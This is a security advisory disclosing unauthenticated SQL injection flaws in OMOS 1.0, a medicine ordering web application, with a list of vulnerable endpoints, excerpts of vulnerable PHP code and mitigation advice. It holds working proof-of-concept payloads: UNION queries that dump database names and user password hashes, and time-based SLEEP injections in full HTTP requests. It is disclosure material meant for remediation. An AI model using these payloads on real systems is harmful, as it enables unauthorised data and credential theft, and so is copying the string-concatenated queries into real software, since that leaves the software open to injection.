Skip to content

Latest commit

 

History

History
424 lines (322 loc) · 15.8 KB

omos-sql-injection.md

File metadata and controls

424 lines (322 loc) · 15.8 KB

Unauthenticated SQL Injection Vulnerability in OMOS - Open Source Medicine Ordering System

Information

Introduction

In the realm of web security, SQL Injection remains one of the most severe vulnerabilities, allowing attackers to manipulate database queries through unsanitized input. This document provides a comprehensive analysis of a SQL Injection vulnerability discovered in the OMOS application, detailing its implications, technical breakdown, and mitigation strategies.

Technical Details

The vulnerability affects several components of the OMOS application, where user inputs are directly used in constructing SQL queries without adequate validation or sanitization.

During our analysis, we identified several instances of SQL Injection vulnerabilities, examples of which were detailed in the provided documentation. It is important to note that these instances were merely illustrative of the broader security challenges faced by the application. Given the severity of these findings, we strongly recommend a thorough and immediate review of the application's codebase. This review should aim to identify and remediate all instances of SQL Injection vulnerabilities by implementing robust input validation and prepared statement practices across the application.

id Vulnerable EndPoint Vulnerable Parameter
1 /admin/reports/index.php date
2 /admin/customers/manage_customer.php id
3 /admin/customers/manage_customer.php id
4 /admin/categories/manage_category.php id
5 /admin/products/manage_product.php id
6 /admin/orders/update_status.php id
7 /admin/inquiries/view_inquiry.php id
8 /admin/inventory/view_inventory.php id
9 /report/view_report.php id
10 /products/view_product.php id
11 /admin/user/manage_user.php id
12 /admin/inventory/manage_stock.php id
13 /admin/orders/view_order.php id
14 /admin/orders/manage_request.php id
15 /admin/categories/view_category.php id
16 /classes/Master.php name (line 38 - line 49),
brand (line 93 - line 106),
code (line 202 - line 212)
17 /classes/Users.php?f=save lastname

As part of our comprehensive security assessment, we have identified specific instances of code within the OMOS application that are vulnerable to SQL Injection attacks. To illustrate the nature and potential impact of these vulnerabilities, we have documented representative samples of the vulnerable code segments alongside corresponding example payloads that demonstrate how these vulnerabilities can be exploited.

Vulnerable code samples and example payloads (Proof of concepts) are as follows.

File name 1: admin/reports/index.php

Description 1: This function is actually a function belonging to the admin, but since the following codes run before the user's permissions are verified, SQL Injection attacks can be carried out without having admin authority.

Vulnerable code 1:

<?php 
  $date = isset($_GET['date']) ? $_GET['date'] : date("Y-m-d");
?>
  ...
  <?php 
  $g_total = 0;
$i = 1;
$requests = $conn->query("SELECT oi.*,o.code, concat(p.brand, ' ', p.name,COALESCE(CONCAT(' (',p.dose,')'), '')) as product FROM `order_items` oi inner join order_list o on oi.order_id = o.id inner join product_list p on oi.product_id = p.id where date(o.date_created) = '{$date}' order by abs(unix_timestamp(o.date_created)) asc ");
while($row = $requests->fetch_assoc()):
$g_total += $row['price'] * $row['quantity'];
?>

Sample paylod to dump database names 1:

/admin/?page=reports&date=2024-02-22'%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT('enforsec'%2cJSON_ARRAYAGG(CONCAT_WS(0x6966686e7775%2cschema_name))%2c'enforsec')%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-

Sample payload to dump user information with password hash (the database name is assumed to be omosdb) 1:

/admin/?page=reports&date=2024-02-22'%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT('enforsec'%2cJSON_ARRAYAGG(CONCAT_WS('%2c'%2c%60type%60%2cfirstname%2clastname%2cmiddlename%2cpassword%2cusername))%2c'enforsec')%20FROM%20uomosdb.users--%20-

File name 2: /admin/categories/manage_category.php

Vulnerable code 2:

...
  if(isset($_GET['id'])){
    $user = $conn->query("SELECT * FROM customer_list where id ='{$_GET['id']}' ");
...

Sample payload for time based detection 2:

/admin/?page=categories/manage_category&id=1'+AND+(SELECT+9970+FROM+(SELECT(SLEEP(10)))gPee)+AND+'yrdk'%3d'yrdk

File name 3: /admin/categories/view_category.php

Vulnerable code 3:

...
if(isset($_GET['id']) && $_GET['id'] > 0){
$qry = $conn->query("SELECT * from `category_list` where id = '{$_GET['id']}' and delete_flag = 0 ");
if($qry->num_rows > 0){
foreach($qry->fetch_assoc() as $k => $v){
$$k=$v;
}
...

Sample payload for time based detection 3:

/admin/?page=categories/view_category&id=1'+AND+(SELECT+9970+FROM+(SELECT(SLEEP(10)))gPee)+AND+'yrdk'%3d'yrdk

File name 4: /classes/Master.php

Vulnerable code 4:

function save_category(){
  $_POST['description'] = addslashes(htmlspecialchars($_POST['description']));
  extract($_POST);
  $data = "";
  foreach($_POST as $k =>$v){
    if(!in_array($k,array('id'))){
      if(!empty($data)) $data .=",";
      $v = $this->conn->real_escape_string($v);
      $data .= " `{$k}`='{$v}' ";
    }
  }
  $check = $this->conn->query("SELECT * FROM `category_list` where `name` = '{$name}' and delete_flag = 0 ".(!empty($id) ? " and id != {$id} " : "")." ")->num_rows;
  if($this->capture_err())
    return $this->capture_err();
  if($check > 0){
    $resp['status'] = 'failed';
    $resp['msg'] = "Category already exists.";
    return json_encode($resp);
    exit;
  }

Sample payload for time based detection 4:

POST /classes/Master.php?f=save_category HTTP/2
Host: target.com
Content-Length: 651
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZuV1Yhp1qBXeANLY
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/admin/?page=categories/manage_category&id=2
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

------WebKitFormBoundaryZuV1Yhp1qBXeANLY
Content-Disposition: form-data; name="id"

2
------WebKitFormBoundaryZuV1Yhp1qBXeANLY
Content-Disposition: form-data; name="name"

Capsule'+(select*from(select(sleep(20)))a)+'
------WebKitFormBoundaryZuV1Yhp1qBXeANLY
Content-Disposition: form-data; name="description"

Suspendisse accumsan mollis quam. Etiam ut dolor felis. Proin maximus eros tortor, et condimentum massa mollis nec. Fusce gravida posuere purus et tempor. Phasellus commodo auctor justo, tempus pellentesque nunc condimentum id.
------WebKitFormBoundaryZuV1Yhp1qBXeANLY
Content-Disposition: form-data; name="status"

1
------WebKitFormBoundaryZuV1Yhp1qBXeANLY--

File name 5: /classes/Master.php

Vulnerable code 5:

...
  function save_product(){
  if(isset($_POST['descrption']))
    $_POST['descrption'] = addslashes(htmlspecialchars($_POST['descrption']));

  extract($_POST);
  $data = "";
  foreach($_POST as $k =>$v){
    if(!in_array($k,array('id'))){
      if(!empty($data)) $data .=",";
      $v = $this->conn->real_escape_string($v);
      $data .= " `{$k}`='{$v}' ";
    }
  }
  $check = $this->conn->query("SELECT * FROM `product_list` where `brand` = '{$brand}' and `name` = '{$name}' and delete_flag = 0 ".(!empty($id) ? " and id != {$id} " : "")." ")->num_rows;
  if($this->capture_err())
    return $this->capture_err();
  if($check > 0){
    $resp['status'] = 'failed';
    $resp['msg'] = "Product already exists.";
    return json_encode($resp);
    exit;
  }
  ...

Sample payload for time based detection 5:

POST /classes/Master.php?f=save_product HTTP/2
Host: target.com
Content-Length: 1301
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXWulYPAcY0eEfHBg
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/admin/?page=products/manage_product&id=2
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="id"

2
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="brand"

Brand 101'+(select*from(select(sleep(10)))a)+'
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="name"

Amoxicillin
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="dose"

250
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="category_id"

2
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="description"

Aliquam porttitor diam nunc, eu imperdiet mi vulputate ut. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Aenean congue commodo tristique. Proin congue consequat fringilla. Cras bibendum consectetur ipsum eu ultrices. Integer aliquet mauris eu pharetra venenatis.
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="price"

7.00
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="status"

1
------WebKitFormBoundaryXWulYPAcY0eEfHBg
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryXWulYPAcY0eEfHBg--

File name 6: /classes/Users.php

Vulnerable code 6:

...
  public function save_users(){
  if(empty($_POST['password']))
    unset($_POST['password']);
  else
    $_POST['password'] = md5($_POST['password']);
  extract($_POST);
  $data = '';
  foreach($_POST as $k => $v){
    if(!in_array($k,array('id'))){
      if(!empty($data)) $data .=" , ";
      $data .= " {$k} = '{$v}' ";
    }
  }
  if(empty($id)){
    $qry = $this->conn->query("INSERT INTO users set {$data}");
...

Sample payload for time based detection 6:

POST /classes/Users.php?f=save HTTP/2
Host: target.com
Content-Length: 851
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykf7iPk10Z74l0Kf2
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/admin/?page=user/manage_user
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="id"


------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="firstname"

a
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="middlename"

a
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="lastname"

a'+(select*from(select(sleep(20)))a)+'
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="username"

a
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="password"

a
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="type"

1
------WebKitFormBoundarykf7iPk10Z74l0Kf2
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarykf7iPk10Z74l0Kf2--

Affected Versions

Version 1.0 is known to be vulnerable.

Mitigation

To address this vulnerability, it is crucial to implement the following mitigation strategies:

  1. Input Validation and Sanitization: Ensure that all user-supplied input is properly validated and sanitized to prevent malicious SQL code execution.
  2. Use of Prepared Statements: Utilize prepared statements with parameterized queries to separate SQL logic from data, effectively neutralizing SQL Injection attacks. A sample usage or parameterized queries is as follows.
<?php
$mysqli = new mysqli('your_host', 'your_username', 'your_password', 'your_db');

$sql = "SELECT * FROM table_name WHERE column1 = ?";
$stmt = $mysqli->prepare($sql);

$stmt->bind_param("s", $value1);
$stmt->execute();

$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
    // işlemler
}
?>

Given the critical nature of these findings, we strongly recommend undertaking a thorough review and remediation process to address these and any other similar vulnerabilities within the application. This should include, but not be limited to, the implementation of prepared statements and parameterized queries, as well as comprehensive input validation routines to mitigate the risk of SQL Injection attacks.

References

Contact Information

For further information or inquiries about this vulnerability analysis, please contact onur.karasalihoglu@enforsec.com.

Disclosure Timeline

  • Discovered on: Fri, 23 Feb 2024
  • CVE ID Requested on: Tue, 27 Feb 2024
  • CVE ID Assigned on: waiting
  • Advisory Published on: Tue, 27 Feb 2024